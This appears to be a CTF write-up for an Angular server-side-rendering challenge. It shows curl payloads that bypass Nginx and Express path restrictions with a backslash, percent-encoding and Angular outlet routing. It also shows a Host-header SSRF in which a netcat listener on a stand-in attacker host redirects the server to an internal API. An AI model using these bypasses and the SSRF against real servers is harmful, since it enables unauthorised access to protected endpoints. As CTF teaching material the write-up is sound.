If you can render /debug/answer
in server-side, you can get the first flag.
Nginx denies accesses to /debug
.
location /debug {
# IP address restriction.
# TODO: add allowed IP addresses here
allow 127.0.0.1;
deny all;
}
You can bypass Nginx restriction with \
.
node.js normalizes /\debug/answer
to /debug/answer
.
$ curl 'http://universe.chal.ctf.westerns.tokyo/\debug/answer'
There is another path based access restriction.
server.ts
also blocks the access to debug
.
server.get('*', (req, res) => {
if (process.env.FLAG && req.path.includes('debug')) {
return res.status(500).send('debug page is disabled in production env')
}
But you can bypass this restriction with % encoding. Angular automatically decodes this URL.
Combine both, this is the final payload.
$ curl 'http://universe.chal.ctf.westerns.tokyo/\%64ebug/answer'
Actually, this is not our intended solution. Our intended solution is described in flag 3. Furthermore, I saw some teams solved this challenge with HTTP host header and somes solved with path traversal. That's amazing.
In answer.service.ts
, API /api/answer
will be called in both client-side and server-side.
getAnswer() {
return this.http.get('/api/answer')
}
When it works in server-side, Angular.js need to complement hostname and schema of the API.
If you are using one of the @nguniversal/*-engine packages (such as @nguniversal/express-engine), this is taken care for you automatically. You don't need to do anything to make relative URLs work on the server. https://angular.io/guide/universal#using-absolute-urls-for-http-data-requests-on-the-server
Angular HTTP module constructs the target URL with its server hostname which derives from Host header in the HTTP request. https://github.com/angular/angular/blob/10.1.x/packages/platform-server/src/http.ts#L119
So, you can overwrite target hostname.
$ curl 'http://universe.chal.ctf.westerns.tokyo/a' -H 'Host: hostname-of-attacker.test'
If your server returns 301 redirect, the server will fetch the result of true-answer API.
$ echo "HTTP/1.1 301 Moved Permanently\r\nLocation:http://127.0.0.1/api/true-answer\r\n\r\n" | sudo nc -l 80
Flag 3 is similar to flag 1, you can get the flag if you can render /debug/answer
in server-side.
One of the differences are that Apache was added.
Apache -> Nginx -> Express -> Angular SSR
Therefore, you can't use the bypass using the \
.
Also, restriction in the server.ts
was changed a bit. req.path.includes('debug')
-> req.path.includes('/debug')
Now, you can bypass Nginx restriction with Angular's outlet routing feature.
https://angular.io/api/router/Route#multiple-outlets
You can use this style of URL in angular.js: /team/11(aux:chat/jim)
With primary tag, you can render default component.
$ curl 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'